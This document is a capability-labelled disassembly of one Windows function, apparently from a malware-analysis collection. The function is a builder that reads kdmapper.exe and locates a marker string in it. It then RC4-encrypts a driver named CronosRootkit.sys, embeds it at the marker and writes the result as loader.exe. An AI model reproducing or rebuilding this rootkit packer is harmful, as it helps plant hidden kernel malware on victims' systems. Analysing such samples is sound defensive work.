Function at 0x140001070
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push rbx
push rdi
push r12
push r14
sub rsp, 0x168
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x150], rax
lea rcx, str.___Building_Loader_n
call fcn.140001010
xor r14d, r14d
lea rcx, [rsp + 0x50]
mov edi, pe_nt_image_headers64
xor edx, edx
mov r8d, edi
mov ebx, r14d
call sub.VCRUNTIME140.dll_memset
mov r8d, r14d
lea r10, [0x140000000]
mov r9d, r14d
mov byte [r9 + r10 + 0x5640], r8b
lea r9, [r9 + 1]
mov eax, 0xcccccccd
mul r8d
mov eax, r8d
inc r8d
shr edx, 4
lea ecx, [rdx + rdx*4]
shl ecx, 2
sub eax, ecx
movsxd rcx, eax
movzx eax, byte [rcx + r10 + 0x5038]
mov byte [rsp + r9 + 0x4f], al
cmp r8d, edi
jl 0x1400010c3
mov rdx, r14
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rsp + rdx + 0x50]
movzx r8d, byte [rdx + r10 + 0x5640]
add ebx, eax
add ebx, r8d
and ebx, 0x800000ff
jge 0x140001135
dec ebx
or ebx, 0xffffff00
inc ebx
movsxd rax, ebx
lea rcx, [r10 + 0x5640]
add rcx, rax
movzx eax, byte [rcx]
mov byte [rdx + r10 + 0x5640], al
inc rdx
mov byte [rcx], r8b
sub rdi, 1
jne 0x140001110
mov qword [rsp + 0x30], r14
lea r8d, [rdi + 1]
mov dword [rsp + 0x28], 0x80
lea rcx, str.kdmapper.exe_
xor r9d, r9d
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x140001466
mov qword [rsp + 0x190], rbp
xor edx, edx
mov rcx, rax
mov qword [rsp + 0x1a0], r13
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, eax
mov r13d, eax
mov dword [rsp + 0x40], r14d
mov ebx, eax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], r14
mov rdx, rax
mov r8d, r13d
mov rcx, r12
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rdx, r14
test r13d, r13d
je 0x14000126d
lea r8, str.MADE_BY_ZHOUQWQ
mov rax, rdx
cmp rax, rbx
jae 0x140001262
movzx ecx, byte [r8 + rax]
cmp byte [rax + rdi], cl
jne 0x140001262
inc rax
mov rcx, rax
sub rcx, rdx
cmp rcx, 0xf
jb 0x1400011f3
lea rbp, [rdx + rdi]
test rbp, rbp
je 0x14000126d
xor r9d, r9d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
lea rcx, str.CronosRootkit.sys
mov edx, 0x80000000
mov qword [rsp + 0x198], rsi
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001289
lea rcx, str.____Cannot_open_driver_
jmp 0x1400012a9
inc rdx
dec r8
cmp rdx, rbx
jb 0x1400011f0
lea rcx, str.____Needle_Not_Found_
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov eax, 0xffffffff
jmp 0x1400012c4
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
mov dword [rsp + 0x44], r14d
cmp eax, 0x4e20
jbe 0x1400012f2
lea rcx, str.____Driver_is_too_big__n
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov eax, 0xffffffff
mov rsi, qword [rsp + 0x198]
mov rbp, qword [rsp + 0x190]
mov r13, qword [rsp + 0x1a0]
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.140001490
add rsp, 0x168
pop r14
pop r12
pop rdi
pop rbx
ret
mov qword [rsp + 0x160], r15
mov rcx, rbx
mov r15, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
lea r9, [rsp + 0x44]
mov qword [rsp + 0x20], 0
mov rdx, rax
mov r8d, ebx
mov rcx, rsi
mov r14, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
xor esi, esi
mov edx, esi
mov r8d, esi
test ebx, ebx
jle 0x1400013b8
mov r11, r14
lea r15, [0x140000000]
mov rsi, rbx
inc edx
and edx, 0x800000ff
jge 0x140001356
dec edx
or edx, 0xffffff00
inc edx
movsxd rax, edx
lea r9, [r15 + 0x5640]
add r9, rax
movzx r10d, byte [r9]
add r8d, r10d
and r8d, 0x800000ff
jge 0x140001380
dec r8d
or r8d, 0xffffff00
inc r8d
movsxd rax, r8d
lea rcx, [r15 + 0x5640]
add rcx, rax
movzx eax, byte [rcx]
mov byte [r9], al
mov byte [rcx], r10b
movzx ecx, byte [r9]
add rcx, r10
movzx eax, cl
movzx eax, byte [rax + r15 + 0x5640]
xor byte [r11], al
inc r11
sub rsi, 1
jne 0x140001342
mov r15, rbx
mov r8, r15
mov rdx, r14
mov rcx, rbp
call sub.VCRUNTIME140.dll_memcpy
mov r15, qword [rsp + 0x160]
test ebx, ebx
je 0x1400013ed
lea rax, [rbp - 5]
nop word [rax + rax]
mov byte [rax], bl
lea rax, [rax + 1]
shr ebx, 8
test ebx, ebx
jne 0x1400013e0
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
lea rcx, str.loader.exe
mov edx, 0xc0000000
mov dword [rsp + 0x20], 2
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea r9, [rsp + 0x48]
mov dword [rsp + 0x48], esi
mov rcx, rax
mov qword [rsp + 0x20], rsi
mov r8d, r13d
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea rcx, str.___Success__n
call fcn.140001010
xor eax, eax
jmp 0x1400012bc
lea rcx, str.____Cannot_open_mapper_bin_
call fcn.140001010
mov eax, 0xffffffff
jmp 0x1400012d4